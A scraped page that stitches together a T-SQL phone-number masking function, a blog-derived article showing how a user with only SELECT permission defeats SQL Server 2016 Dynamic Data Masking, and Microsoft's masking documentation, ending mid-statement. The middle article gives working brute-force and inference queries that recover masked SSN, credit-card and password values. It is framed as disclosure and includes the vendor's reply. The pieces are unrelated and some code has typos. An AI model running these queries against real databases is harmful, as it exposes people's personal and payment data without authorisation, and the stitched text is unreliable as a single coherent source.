Маска ввода номера телефона sql

Just in case someone ever needs a table-valued function.

Approach 1 (see #2 for a faster version)

create function ftMaskPhone
(
    @phone varchar(30),
    @mask varchar(50)
)
returns table as
return
    with ci(n, c, nn) as (
        select
            1,
            case
                when substring(@mask, 1, 1) = '#' then substring(@phone, 1, 1)
                else substring(@mask, 1, 1)
            end,
            case when substring(@mask, 1, 1) = '#' then 1 else 0 end
        union all
        select
            n + 1,
            case
                when substring(@mask, n + 1, 1) = '#' then substring(@phone, nn + 1, 1)
                else substring(@mask, n + 1, 1)
            end,
            case when substring(@mask, n + 1, 1) = '#' then nn + 1 else nn end
        from ci where n < len(@mask))
    select (select c + '' from ci for xml path(''), type).value('text()[1]', 'varchar(50)') PhoneMasked
GO

Then apply it as

declare @mask varchar(50)
set @mask = '(##) #### ####'

select pm.PhoneMasked
from Phones p
    outer apply ftMaskPhone(p.PhoneNum, @mask) pm

Approach 2

I’m going to leave the above version for historical purposes. However, this one has better performance.

CREATE FUNCTION dbo.ftMaskPhone
(
    @phone varchar(30),
    @mask varchar(50)
)
RETURNS TABLE 
WITH SCHEMABINDING
AS
RETURN
(
    WITH v1(N) AS (
        SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1
        UNION ALL
        SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1 UNION ALL SELECT 1
    ),
    v2(N) AS (SELECT 1 FROM v1 a, v1 b),
    v3(N) AS (SELECT TOP (ISNULL(LEN(@mask), 0)) ROW_NUMBER() OVER (ORDER BY @@SPID) FROM v2),
    v4(N, C) AS (
        SELECT N, ISNULL(SUBSTRING(@phone, CASE WHEN c.m = 1 THEN ROW_NUMBER() OVER (PARTITION BY c.m ORDER BY N) END, 1), SUBSTRING(@mask, v3.N, 1))
        FROM v3
            CROSS APPLY (SELECT CASE WHEN SUBSTRING(@mask, v3.N, 1) = '#' THEN 1 END m) c
    )
    SELECT MaskedValue = (
        SELECT c + ''
        FROM v4
        ORDER BY N
        FOR XML PATH(''), TYPE
    ).value('text()[1]', 'varchar(50)')
);
GO

Schema binding, in combination with this being a single-statement table-valued-function, makes this version eligible for inlining by the query optimizer. Implement the function using a CROSS APPLY as in the example above, or for single values, like this:

SELECT *
FROM dbo.ftMaskPhone('0012345678910', '### (###) ###-####')

Results look like:

MaskedValue
001 (234) 567-8910

Introduction

One of the new security features that SQL Server version 2016 brings, is DDM — Dynamic Data Masking. DDM is a solution that aims at real-time data masking of production data. DDM changes the data stream so that the data requester does not get full access
to sensitive data, while no physical changes to the original production data take place.

Implementing DDM internally in SQL Server, aims to bring us better security, in the user level rules. One of the goals that embedded DDM supposed to bring, is that it’s transparent to the client application. Users that gets security rules: SELECT, UPDATE,
DELETE, INSERT able to work with the data freely, while keeping the masked rules. User not been granted permission «UNMASK», should not be able to expose the original value, if column configured to be masked.
Is this actually works?!?

Table of Contents

  • Introduction
  • Preparation
  • Expose the masked data, Step-By-Step
    • Goal 1: Find the [SSN] number for UserID = 1
    • Goal 2: Find the CreditCard number for UserID = 1
    • Goal 3: Expose Free text like password column
  • Comments & Conclusions
  • From the Microsoft SQL Data Security team:
  • Resources and more information

This blog shows how easy it is to expose the masked data, by any user, that has SELECT permission.

Note!  The
purpose of this blog is NOT to teach people how to expose the data, but to make people understand that the new feature does not brings us the security it should, and that we might expects to get according to the documentation.
If you are using or intend to use this feature, then this blog is a must for you!

        

Note!  This
article based on a copy of the blog written by
Ronen Ariely.
The original blog includes several more issues regarding exposing data, which probably should not be exposed to users that have only SELECT permission, and several more advance cases. This article focuses only on exposing the basic masked data.


Preparation

Step 1: Let’s create a new database, for the sake of our testing

USE [master]

GO

DROP
DATABASE
IF EXISTS [Ariely_DynamicMasking]

CREATE
DATABASE
[Ariely_DynamicMasking]

    CONTAINMENT = NONE

GO

Step 2: Let’s create a new (database level)
USER based on (Instance level) LOGIN, which is based on (Instance level)
CREDENTIAL

/****************************************************  */

/*********************************** SECURITY Elements */

/****************************************************  */

USE [master]

GO

/*------------------------------------------- CREDENTIAL */

if
not exists(select
* from
sys.credentials where
name
=
'Ariely_MaskingCredential')

BEGIN

CREATE
CREDENTIAL Ariely_MaskingCredential

    WITH
IDENTITY = 'Ariely_MaskingIdentity',

    SECRET =
'StrongPasswordHere';

END

GO

select
* from
sys.credentials

GO

/*------------------------------------------- LOGIN */

if
not exists(select
* from
sys.server_principals where
name
=
'Ariely_MaskingLogin')

BEGIN

CREATE
LOGIN Ariely_MaskingLogin

   WITH
PASSWORD
=
'Strong!Login@Password',

   CREDENTIAL = Ariely_MaskingCredential;

END

GO

SELECT
* FROM
sys.server_principals

where
name
=
'Ariely_MaskingLogin'

GO

/*------------------------------------------- USER */

use [Ariely_DynamicMasking]

GO

if
not exists(select
* from
sys.database_principals where
name
=
'Ariely_MaskingUser')

BEGIN

CREATE
USER Ariely_MaskingUser
FOR
LOGIN Ariely_MaskingLogin

    WITH
DEFAULT_SCHEMA = dbo;

END

GO

SELECT
* from
sys.database_principals

where
name
=
'Ariely_MaskingUser'

GO

Step 3: Now we can create the table, which includes the data that we want to mask

Use [Ariely_DynamicMasking];

GO

/****************************************************  */

/********************************************* DDL+DML */

/****************************************************  */

-- Create table with different data type columns

DROP
TABLE
IF EXISTS Ari_Users_Tbl

CREATE
TABLE
Ari_Users_Tbl (

     UserID        
INT           
IDENTITY(1, 1)
PRIMARY
KEY

    ,F_Name         NVARCHAR(30)  
NOT NULL

    ,L_Name         NVARCHAR(30)  
NOT NULL

    -----------------------------------------

    ,SSN           
INT           
NOT
NULL

    ,Password       NVARCHAR(12)  
NOT NULL

    ,CreditCard    
VARCHAR(20)   
NULL

    ,Salary         MONEY         
NULL

    ,Email          NVARCHAR(60)  
NULL

    ,BirthDate      DATETIME      
NULL

    ,CONSTRAINT
CONSTRAINT_SSN UNIQUE(SSN)

)

GO

-- insert a row

INSERT
INTO
[dbo].[Ari_Users_Tbl]

    ([F_Name],[L_Name], [Password], [SSN], [CreditCard], [Salary], [Email], [BirthDate])

VALUES

    ('Ronen','Ariely','sdFgs' 
, 123456789, '1111-1234-1234-1111',999999,'Not@MyEmail.com'         
, '20150227'),

    ('R'   
,'A'    
,
'jkWlsUr', 987654321,
'2222-1234-1234-2222',999999,'DefinitelyNot@MyEmail.com',
'20160227')

GO

select
* from
dbo.Ari_Users_Tbl

GO

Image 1: SELECT result without masking

Step 4: implementing Masking using the new Dynamic Data Masking feature in SQL Server 2016

/****************************************************  */

/******************** implementing Masking
in SQL 2016 */

/****************************************************  */

---------------------------------------------------------- Using "partial" function

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[CreditCard]

        ADD
MASKED WITH
(FUNCTION
= 'partial(0,"XXXX-XXXX-XXXX-",4)')

GO

---------------------------------------------------------- Using "email" function

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[Email]

        ADD
MASKED WITH
(FUNCTION
= 'email()')

GO

---------------------------------------------------------- Using "random" function

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[SSN]

        ADD
MASKED WITH
(FUNCTION
= 'random(111111111,999999999)')

GO

---------------------------------------------------------- Using "default" for string

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[Password]

        ADD
MASKED WITH
(FUNCTION
= 'default()')

GO

---------------------------------------------------------- Using "default" for MONEY

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[Salary]

        ADD
MASKED WITH
(FUNCTION
= 'default()')   

GO

---------------------------------------------------------- Using "default" on date

ALTER
TABLE
Ari_Users_Tbl
ALTER
COLUMN
[BirthDate]

        ADD
MASKED WITH
(FUNCTION
= 'default()')

GO

Step 5: GRANT Permissions to the user and check the masking

/****************************************************  */

/***********************************
GRANT
Permissions */

/****************************************************  */

GRANT
SELECT
ON
Ari_Users_Tbl TO
Ariely_MaskingUser;

GRANT
INSERT
ON
Ari_Users_Tbl TO
Ariely_MaskingUser;

GRANT
UPDATE
ON
Ari_Users_Tbl TO
Ariely_MaskingUser;

GO

Let’s see how it is working…

Below code execute a simple SELECT query on the table, with impersonate to the new user. You can compare the result in

Image 2 to to image 1 above.

/****************************************************  */

/**************************** Testing Masking SQL 2016 */

/****************************************************  */

/*------------------------------------------- MaskingUser user - SELECT */

-- Impersonate different user

EXECUTE
AS
USER
= 'Ariely_MaskingUser';

GO

SELECT
USER_NAME(), SUSER_NAME()

GO

SELECT

    UserID,F_Name,L_Name,SSN,CreditCard,Email

    ,Password,Salary,BirthDate

FROM
Ari_Users_Tbl;

GO

-- Stop impersonate

REVERT;

GO

Image 2: Execute SELECT as simple User


Expose the masked data, Step-By-Step

Our goal is to expose the masked data in order to get the full unmasked data. We will impersonate the user, which don’t have permission to see the unmasked data, and we will try to exposes the data.

-- Execute this statement

-- Everything that we are going to do till the end during exposing of the masked data will be done by the new user

EXECUTE
AS
USER
= 'Ariely_MaskingUser';

GO

Please execute the above query, and let’s start examine, how can we expose the data.

Note!  History!
You may find lot of posts/blogs online, which uses statements that exposed the data during the beta versions, but these are no longer working on the release version:

  • Using «SELECT INTO» or «INSERT INTO» in order to copy the unmasked data to another table.
  • Using sub-queries in the select section, or function to manipulate the data in the select section, in order to expose different data, which include part or all of the masked data.

        

We can use filter in order to select or update specific row(s), by comparing the value of the original masked column, as it is stored in the database (the unmasked value).
This is a security breach!

-- Security breach!

UPDATE
[dbo].[Ari_Users_Tbl]

    SET
[CreditCard] = '3333-1234-1234-3333'

    WHERE
[SSN] = 123456789 -- We can filter masked column, by comparing it's exposed value

GO

SELECT
* FROM
Ari_Users_Tbl;

GO

Goal 1: Find the [SSN] number for UserID = 1

The simplest case that we can think about is to find a number. The SSN is a simple integer number, and that will be great as our first example. Our goal is to find the SSN number for the user with userID = 1.

SELECT
u.F_Name, u.L_Name,u.SSN

FROM
Ari_Users_Tbl u

where
u.UserID = 1

GO

If we add to the above query a filter on SSN, and that value will not be the user correct value, then we will not get any row back:

select
u.F_Name, u.L_Name,u.SSN,u.CreditCard

from
Ari_Users_Tbl U

where
U.UserID = 1

    and
SSN = 333333333 - This is
not the correct SSN value

GO

But if we will use the correct SSN value of the user, then we will get the row back. This is the basic logic in the procedure to expose the value. We can simply phish the value. Theoretically, we can test any available value until we will get the correct
SSN value (for example using loop).

-- Fishing (Phishing) the value!

select
u.F_Name, u.L_Name,u.SSN,u.CreditCard

from
Ari_Users_Tbl U

where
U.UserID = 1

    and
SSN = 123456789 -- This is the correct value, therefore the row will return

GO

Once we understand the basic idea, we can implement a simple query. We will use dynamic numbers table created in CTE, in order to expose the SSN for any user, very fast as you can see in the next query:

-- Dynamically Fishing (Phishing) the value!

Declare
@UserId int
= 1

;With
MyCTE as
(

    SELECT
TOP
99999 ROW_NUMBER() OVER (
ORDER
BY
(
select
NULL
)) AS
Number

    FROM
sys.all_objects s1

    CROSS
JOIN sys.all_objects s2

)

select
u.F_Name, u.L_Name,u.SSN

    
CONVERT(NVARCHAR(MAX),Nf.Number) +
CONVERT(NVARCHAR(MAX),N.Number)
as
Real_SSN

from
Ari_Users_Tbl U

LEFT
JOIN MyCTE Nf
on
Nf.Number =  U.SSN / 10000
-- 5 first numbers

LEFT
JOIN MyCTE N
on
N.Number =  U.SSN % 10000
-- 4 first numbers

where
U.UserID = @UserId

GO

Note!   Creating
big number table dynamically might cost memory and CPU. For better performance, we create smaller number table, and expose the number in two steps. Firstly, we find the 5 first numbers and next the 4 last numbers, assuming that the number has 9 digits like
in Israel.

     

Goal 2: Find the CreditCard number for UserID = 1

The basic logic is exactly like the previous section. A Credit Card number has a specific format, which make it very simple and fast to be exposed.

-- Dynamically Fishing the CreditCard!

Declare
@UserId int
= 1

;With
MyCTE as
(

    SELECT
TOP
99999 ROW_NUMBER() OVER (
ORDER
BY
(
select
NULL
)) AS
Number

    FROM
sys.all_objects s1

    CROSS
JOIN sys.all_objects s2

)

SELECT
u.F_Name, u.L_Name,u.CreditCard

    ,CONVERT(NVARCHAR(MAX),
N1.Number) +
'-'
+

     CONVERT(NVARCHAR(MAX),
N2.Number) +
'-'
+

     CONVERT(NVARCHAR(MAX),
N3.Number) +
'-'
+

     CONVERT(NVARCHAR(MAX),
N4.Number)
as
Real_CreditCard

FROM
Ari_Users_Tbl u

LEFT
JOIN MyCTE N1
on
N1.Number = 
CONVERT(INT,SUBSTRING(u.CreditCard,1,4))

LEFT
JOIN MyCTE N2
on
N2.Number = 
CONVERT(INT,SUBSTRING(u.CreditCard,6,4))

LEFT
JOIN MyCTE N3
on
N3.Number = 
CONVERT(INT,SUBSTRING(u.CreditCard,11,4))

LEFT
JOIN MyCTE N4
on
N4.Number = 
CONVERT(INT,SUBSTRING(u.CreditCard,16,4))

where
U.UserID = @UserId

GO

Goal 3: Expose Free text like password column

The most complex case is when we need to find free text, which we have no information about it’s format or anything else. For the sake of our demo, we will expose the user password. This option can be implemented on any textual value. In this section we
will use specific logic based on three steps. You can find other algorithm, which might fit your case better. For more advance cases and exposing data which can help you,

you can check the original blog.

* we can use temporary numbers table, instead of dynamically use Common Table Expressions. This allows us to create index on the table to improve performance (I reminds you that we are still using the new user, which has no special permissions!).

Preparation: Create temporary indexed table

DROP
TABLE
IF EXISTS #NumbersTbl

SELECT
TOP
10000 IDENTITY(
int,1,1)
AS
Number

INTO
#NumbersTbl

FROM
sys.all_objects s1

CROSS
JOIN sys.all_objects s2

ALTER
TABLE
#NumbersTbl
ADD
CONSTRAINT
PK_NumbersTbl PRIMARY
KEY
CLUSTERED (Number)

GO

Step 1: Find the text length

select
u.UserID,n.Number

from
Ari_Users_Tbl u

JOIN
#NumbersTbl n ON
LEN(u.Password) = n.Number

WHERE
UserID = 1

GO

Step 2: Find list of all the characters in the text

in the end of this step we will not know how many times each character used or the order of the characters, but we will know which characters include in the text.

For the sake of this article we assume that the password includes only English characters. Therefore, we filter the data between ASCII number 65 and 90, which is uppercase English chars, and between 97 to 122, which is the lowercase English chars. You can
change the filter according to your needs (if needed you can search for any readable char).

DROP
TABLE
IF EXISTS #QQ

SELECT
* INTO
#QQ

FROM
(

    SELECT
u.UserID,CHAR(n.Number) c

    from
Ari_Users_Tbl u

    JOIN
#NumbersTbl n

        on
u.Password like
'%' + CHAR(n.Number) +
'%'

            COLLATE
Hebrew_CS_AS -- Case sensitive Hebrew

    -- In our case the password can be only English latters

    where
u.UserID = 1

        -- All English latters

        AND
(

            (n.Number >= 65
and n.Number < 90)

            or
(n.Number >= 97 and
n.Number < 122)

        )

) T

GO

SELECT
* FROM
#QQ

GO

Step 3: Find the text

Using the information from step 1 and step 2 we can find the exact text. We already have the information about all the chars in the password and the length of the password. Now I will use this information to find the exact password.

Note!  For
the sake of the explanation I use the above information, manually. We can create one query that executes these three steps together, as one statement.

        

DECLARE
@LEN INT
= 1, @Pass NVARCHAR(MAX) =
''

WHILE @LEN <= 5
-- we found that the len is 5 in step 1

BEGIN

    SELECT
@Pass = @Pass + c.c

    from
#QQ c

    INNER
JOIN Ari_Users_Tbl a
on
SUBSTRING
(a.Password,@LEN,1) = c.c

    where
a.UserID = 1

    SET
@LEN = @LEN + 1

END

select
u.F_Name, u.L_Name,u.Password, @Pass as
Real_Password

from
Ari_Users_Tbl u

where
u.UserID = 1

GO

Voila! we found the user password :-)


Comments & Conclusions

The built-in new feature is very powerful and it’s brings great option to dynamically mask the data and manage the masked data, transparently to the client apps. It can save the developer lot of time and resources. It can even brings better security. Since
the data is masked in the database level, it is less exposed to attacks like «Man-in-the-middle», but yet,
it does not brings us security in the USER level! Any user that has SELECT permission can exposes the data, as we show in this article.

The main issue is that the filter done on the original unmasked data, instead of after masking the data on the masked data. In one side, this gives us the power to filter rows freely by using the masked columns, but in the other hand, this is a security
breach! There is no reason that a user that not supposed to have any information regarding unmasked data, will have the option to filter by that value.

* What is the solution? We can use the new feature «as it is» and
understand that it does not gives us security in the USER level, or we can go back to other solutions, which we use on older version. For example,

implementing Dynamic Data Masking by building security layer in the database level. This option gives great security, but cost lot of developing time!


From the Microsoft SQL Data Security team:

Note!  
Do not edit this paragraph!!

This section is a quote from an email sent as a feedback to the original blog, by the SQL Data Security team, for the sake of the readers.

        

Thanks Ronen for writing about one of our new SQL data security features, Dynamic Data Masking.

As you stated, Dynamic Data Masking is a new and powerful feature built-in to SQL Server 2016 and Azure SQL DB. It enables developers to easily and centrally obfuscate sensitive information in their applications. This can save a lot of time and effort of
limiting exposure to data in the application layer. It can also be used to help prevent accidental exposure to engineers connecting directly to the production database for specific purposes. Dynamic Data Masking is very easy to configure for specific sensitive
data fields, and is transparent to the application.

It is also important to clarify, as you do in your blog, that while Dynamic Data Masking can help secure your applications, is not a full security solution for blocking access to sensitive data – specifically in the case where users have direct access to
the database and can run ad-hoc queries. It is intended to limit exposure of sensitive data and centralize the policy, but the data can be disclosed by malicious intent using brute force techniques when evaluating this feature in isolation.

In fact, Dynamic Data Masking is one tool in an arsenal of security features offered by SQL, which complement each other to provide state-of-the-art security for your database. As in any defense strategy, we recommend using a combination of these built-in
capabilities in order to protect your data.

For the examples you demonstrate in your blog, we highly recommend enabling Auditing to track database activity, defining proper permissions models and using an encryption feature like Always Encrypted to protect the most highly classified sensitive data.

Please take a look at this overview of SQL security capabilities to learn more about our recommended best practices for data security.

SQL Data Security team,


Resources and more information

  • This article Initially posted as a blog by Ronen Ariely: SQL Server 2016 — Crack the masking
    • The original blog includes several more issues regarding exposing data, which probably should not be exposed to users that have only SELECT permission.
  • T-SQL: Dynamic Data Masking
  • Database Engine: Dynamic Data Masking
  • Securing your SQL Database
  • New Security Features in SQL Server 2016 — Presentation & Demo
title description ms.date ms.service ms.reviewer ms.subservice ms.topic ms.custom author ms.author monikerRange

Dynamic Data Masking

Learn about dynamic data masking, which limits sensitive data exposure by masking it to non-privileged users. It can greatly simplify security in SQL Server.

09/27/2022

sql

security

conceptual

event-tier1-build-2022

VanMSFT

vanto

=azuresqldb-current||=azure-sqldw-latest||>=sql-server-2016||>=sql-server-linux-2017||=azuresqldb-mi-current

[!INCLUDE SQL Server 2016 ASDB, ASDBMI, ASDW ]

Dynamic data masking

Dynamic data masking (DDM) limits sensitive data exposure by masking it to non-privileged users. It can be used to greatly simplify the design and coding of security in your application.

Dynamic data masking helps prevent unauthorized access to sensitive data by enabling customers to specify how much sensitive data to reveal with minimal impact on the application layer. DDM can be configured on designated database fields to hide sensitive data in the result sets of queries. With DDM, the data in the database isn’t changed. DDM is easy to use with existing applications, since masking rules are applied in the query results. Many applications can mask sensitive data without modifying existing queries.

  • A central data masking policy acts directly on sensitive fields in the database.
  • Designate privileged users or roles that do have access to the sensitive data.
  • DDM features full masking and partial masking functions, and a random mask for numeric data.
  • Simple [!INCLUDEtsql_md] commands define and manage masks.

The purpose of dynamic data masking is to limit exposure of sensitive data, preventing users who shouldn’t have access to the data from viewing it. Dynamic data masking doesn’t aim to prevent database users from connecting directly to the database and running exhaustive queries that expose pieces of the sensitive data. Dynamic data masking is complementary to other [!INCLUDEssNoVersion] security features (auditing, encryption, row level security, etc.) and it’s highly recommended to use it with them in order to better protect the sensitive data in the database.

Dynamic data masking is available in [!INCLUDEsssql16-md] and [!INCLUDEssSDSFull], and is configured by using [!INCLUDEtsql] commands. For more information about configuring dynamic data masking by using the Azure portal, see Get started with SQL Database Dynamic Data Masking (Azure portal).

Defining a Dynamic Data Mask

A masking rule may be defined on a column in a table, in order to obfuscate the data in that column. Four types of masks are available.

Function Description Examples
Default Full masking according to the data types of the designated fields.

For string data types, use XXXX or fewer Xs if the size of the field is fewer than 4 characters (char, nchar, varchar, nvarchar, text, ntext).

For numeric data types use a zero value (bigint, bit, decimal, int, money, numeric, smallint, smallmoney, tinyint, float, real).

For date and time data types use 01.01.1900 00:00:00.0000000 (date, datetime2, datetime, datetimeoffset, smalldatetime, time).

For binary data types use a single byte of ASCII value 0 (binary, varbinary, image).

Example column definition syntax: Phone# varchar(12) MASKED WITH (FUNCTION = 'default()') NULL

Example of alter syntax: ALTER COLUMN Gender ADD MASKED WITH (FUNCTION = 'default()')

Email Masking method that exposes the first letter of an email address and the constant suffix «.com», in the form of an email address. aXXX@XXXX.com. Example definition syntax: Email varchar(100) MASKED WITH (FUNCTION = 'email()') NULL

Example of alter syntax: ALTER COLUMN Email ADD MASKED WITH (FUNCTION = 'email()')

Random A random masking function for use on any numeric type to mask the original value with a random value within a specified range. Example definition syntax: Account_Number bigint MASKED WITH (FUNCTION = 'random([start range], [end range])')

Example of alter syntax: ALTER COLUMN [Month] ADD MASKED WITH (FUNCTION = 'random(1, 12)')

Custom String Masking method that exposes the first and last letters and adds a custom padding string in the middle. prefix,[padding],suffix

Note: If the original value is too short to complete the entire mask, part of the prefix or suffix won’t be exposed.

Example definition syntax: FirstName varchar(100) MASKED WITH (FUNCTION = 'partial(prefix,[padding],suffix)') NULL

Example of alter syntax: ALTER COLUMN [Phone Number] ADD MASKED WITH (FUNCTION = 'partial(1,"XXXXXXX",0)')

Additional example:

ALTER COLUMN [Phone Number] ADD MASKED WITH (FUNCTION = 'partial(5,"XXXXXXX",0)')

Datetime Applies to: [!INCLUDE sssql22-md]
Masking method for column defined with data type datetime, datetime2, date, time, datetimeoffset, smalldatetime. It helps masking the year => datetime("Y"), month=> datetime("M") , day=>datetime("D"), hour=>datetime("h"), minute=>datetime("m"), or seconds=>datetime("s") portion of the day.
Example of how to mask the year of the datetime value:

ALTER COLUMN BirthDay ADD MASKED WITH (FUNCTION = 'datetime("Y")')

Example of how to mask the month of the datetime value:

ALTER COLUMN BirthDay ADD MASKED WITH (FUNCTION = 'datetime("M")')

Example of how to mask the minute of the datetime value:

ALTER COLUMN BirthDay ADD MASKED WITH (FUNCTION = 'datetime("m")')

Permissions

You don’t need any special permission to create a table with a dynamic data mask, only the standard CREATE TABLE and ALTER on schema permissions.

Adding, replacing, or removing the mask of a column, requires the ALTER ANY MASK permission and ALTER permission on the table. It’s appropriate to grant ALTER ANY MASK to a security officer.

Users with SELECT permission on a table can view the table data. Columns that are defined as masked, will display the masked data. Grant the UNMASK permission to a user to enable them to retrieve unmasked data from the columns for which masking is defined.

The CONTROL permission on the database includes both the ALTER ANY MASK and UNMASK permission.

[!NOTE]
The UNMASK permission does not influence metadata visibility: granting UNMASK alone will not disclose any Metadata. UNMASK will always need to be accompanied by a SELECT permission to have any effect. Example: granting UNMASK on database scope and granting SELECT on an individual Table will have the result that the user can only see the metadata of the individual table from which he can select, not any others. Also see Metadata Visibility Configuration.

Best practices and common use cases

  • Creating a mask on a column doesn’t prevent updates to that column. So although users receive masked data when querying the masked column, the same users can update the data if they have write permissions. A proper access control policy should still be used to limit update permissions.

  • Using SELECT INTO or INSERT INTO to copy data from a masked column into another table results in masked data in the target table.

  • Dynamic Data Masking is applied when running [!INCLUDEssNoVersion] Import and Export. A database containing masked columns will result in an exported data file with masked data (assuming it’s exported by a user without UNMASK privileges), and the imported database will contain statically masked data.

Querying for masked columns

Use the sys.masked_columns view to query for table-columns that have a masking function applied to them. This view inherits from the sys.columns view. It returns all columns in the sys.columns view, plus the is_masked and masking_function columns, indicating if the column is masked, and if so, what masking function is defined. This view only shows the columns on which there’s a masking function applied.

SELECT c.name, tbl.name as table_name, c.is_masked, c.masking_function  
FROM sys.masked_columns AS c  
JOIN sys.tables AS tbl   
    ON c.[object_id] = tbl.[object_id]  
WHERE is_masked = 1;  

Limitations and restrictions

A masking rule can’t be defined for the following column types:

  • Encrypted columns (Always Encrypted)

  • FILESTREAM

  • COLUMN_SET or a sparse column that is part of a column set.

  • A mask can’t be configured on a computed column, but if the computed column depends on a column with a MASK, then the computed column will return masked data.

  • A column with data masking can’t be a key for a FULLTEXT index.

  • A column in a PolyBase external table.

For users without the UNMASK permission, the deprecated READTEXT, UPDATETEXT, and WRITETEXT statements don’t function properly on a column configured for Dynamic Data Masking.

Adding a dynamic data mask is implemented as a schema change on the underlying table, and therefore can’t be performed on a column with dependencies. To work around this restriction, you can first remove the dependency, then add the dynamic data mask and then re-create the dependency. For example, if the dependency is due to an index dependent on that column, you can drop the index, then add the mask, and then re-create the dependent index.

Whenever you project an expression referencing a column for which a data masking function is defined, the expression will also be masked. Regardless of the function (default, email, random, custom string) used to mask the referenced column, the resulting expression will always be masked with the default function.

Cross database queries spanning two different Azure SQL databases or databases hosted on different SQL Server Instances, and involve any kind of comparison or join operation on MASKED columns won’t provide correct results. The results returned from the remote server are already in MASKED form and not suitable for any kind of comparison or join operation locally.

Security Note: Bypassing masking using inference or brute-force techniques

Dynamic Data Masking is designed to simplify application development by limiting data exposure in a set of pre-defined queries used by the application. While Dynamic Data Masking can also be useful to prevent accidental exposure of sensitive data when accessing a production database directly, it’s important to note that unprivileged users with ad-hoc query permissions can apply techniques to gain access to the actual data. If there’s a need to grant such ad-hoc access, Auditing should be used to monitor all database activity and mitigate this scenario.

As an example, consider a database principal that has sufficient privileges to run ad-hoc queries on the database, and tries to ‘guess’ the underlying data and ultimately infer the actual values. Assume that we have a mask defined on the [Employee].[Salary] column, and this user connects directly to the database and starts guessing values, eventually inferring the [Salary] value of a set of Employees:

SELECT ID, Name, Salary FROM Employees
WHERE Salary > 99999 and Salary < 100001;
Id Name Salary
62543 Jane Doe 0
91245 John Smith 0

This demonstrates that Dynamic Data Masking shouldn’t be used as an isolated measure to fully secure sensitive data from users running ad-hoc queries on the database. It’s appropriate for preventing accidental sensitive data exposure, but won’t protect against malicious intent to infer the underlying data.

It’s important to properly manage the permissions on the database, and to always follow the minimal required permissions principle. Also, remember to have Auditing enabled to track all activities taking place on the database.

Granular permissions introduced in SQL Server 2022

Starting with [!INCLUDE sssql22-md], you can prevent unauthorized access to sensitive data and gain control by masking it to an unauthorized user at different levels of the database. You can grant or revoke UNMASK permission at the database-level, schema-level, table-level or at the column-level to a user or database role. This enhancement provides a more granular way to control and limit unauthorized access to data stored in the database and improve data security management.

Examples

Creating a Dynamic Data Mask

The following example creates a table with three different types of dynamic data masks. The example populates the table, and selects to show the result.

-- schema to contain user tables
CREATE SCHEMA Data;
GO

-- table with masked columns
CREATE TABLE Data.Membership(
    MemberID        int IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED,
    FirstName        varchar(100) MASKED WITH (FUNCTION = 'partial(1, "xxxxx", 1)') NULL,
    LastName        varchar(100) NOT NULL,
    Phone            varchar(12) MASKED WITH (FUNCTION = 'default()') NULL,
    Email            varchar(100) MASKED WITH (FUNCTION = 'email()') NOT NULL,
    DiscountCode    smallint MASKED WITH (FUNCTION = 'random(1, 100)') NULL
    );

-- inserting sample data
INSERT INTO Data.Membership (FirstName, LastName, Phone, Email, DiscountCode)
VALUES   
('Roberto', 'Tamburello', '555.123.4567', 'RTamburello@contoso.com', 10),  
('Janice', 'Galvin', '555.123.4568', 'JGalvin@contoso.com.co', 5),  
('Shakti', 'Menon', '555.123.4570', 'SMenon@contoso.net', 50),  
('Zheng', 'Mu', '555.123.4569', 'ZMu@contoso.net', 40);  

A new user is created and granted the SELECT permission on the schema where the table resides. Queries executed as the MaskingTestUser view masked data.

CREATE USER MaskingTestUser WITHOUT LOGIN;  

GRANT SELECT ON SCHEMA::Data TO MaskingTestUser;  
  
  -- impersonate for testing:
EXECUTE AS USER = 'MaskingTestUser';  

SELECT * FROM Data.Membership;  

REVERT;  

The result demonstrates the masks by changing the data from

1 Roberto Tamburello 555.123.4567 RTamburello@contoso.com 10

into

1 Rxxxxxo Tamburello xxxx RXXX@XXXX.com 91

where the number in DiscountCode is random for every query result.

Adding or editing a mask on an existing column

Use the ALTER TABLE statement to add a mask to an existing column in the table, or to edit the mask on that column.
The following example adds a masking function to the LastName column:

ALTER TABLE Data.Membership  
ALTER COLUMN LastName ADD MASKED WITH (FUNCTION = 'partial(2,"xxxx",0)');  

The following example changes a masking function on the LastName column:

ALTER TABLE Data.Membership  
ALTER COLUMN LastName varchar(100) MASKED WITH (FUNCTION = 'default()');  

Granting permissions to view unmasked data

Granting the UNMASK permission allows MaskingTestUser to see the data unmasked.

GRANT UNMASK TO MaskingTestUser;  

EXECUTE AS USER = 'MaskingTestUser';  

SELECT * FROM Data.Membership;  

REVERT;    
  
-- Removing the UNMASK permission  
REVOKE UNMASK TO MaskingTestUser;  

Dropping a Dynamic Data Mask

The following statement drops the mask on the LastName column created in the previous example:

ALTER TABLE Data.Membership   
ALTER COLUMN LastName DROP MASKED;  

Granular permission examples

  1. Create schema to contain user tables

  2. Create table with masked columns

    CREATE TABLE Data.Membership (
      MemberID int IDENTITY(1,1) NOT NULL PRIMARY KEY CLUSTERED,
      FirstName varchar(100) MASKED WITH (FUNCTION = 'partial(1, "xxxxx", 1)') NULL,
      LastName varchar(100) NOT NULL,
      Phone varchar(12) MASKED WITH (FUNCTION = 'default()') NULL,
      Email varchar(100) MASKED WITH (FUNCTION = 'email()') NOT NULL,
      DiscountCode smallint MASKED WITH (FUNCTION = 'random(1, 100)') NULL,
      BirthDay datetime MASKED WITH (FUNCTION = 'default()') NULL
    ); 
  3. Insert sample data

    INSERT INTO Data.Membership (FirstName, LastName, Phone, Email, DiscountCode, BirthDay) 
    VALUES    
    ('Roberto', 'Tamburello', '555.123.4567', 'RTamburello@contoso.com', 10, '1985-01-25 03:25:05'),   
    ('Janice', 'Galvin', '555.123.4568', 'JGalvin@contoso.com.co', 5,'1990-05-14 11:30:00'),   
    ('Shakti', 'Menon', '555.123.4570', 'SMenon@contoso.net', 50,'2004-02-29 14:20:10'),   
    ('Zheng', 'Mu', '555.123.4569', 'ZMu@contoso.net', 40,'1990-03-01 06:00:00'); 
  4. Create schema to contain service tables

    CREATE SCHEMA Service; 
    GO 
  5. Create service table with masked columns

    CREATE TABLE Service.Feedback ( 
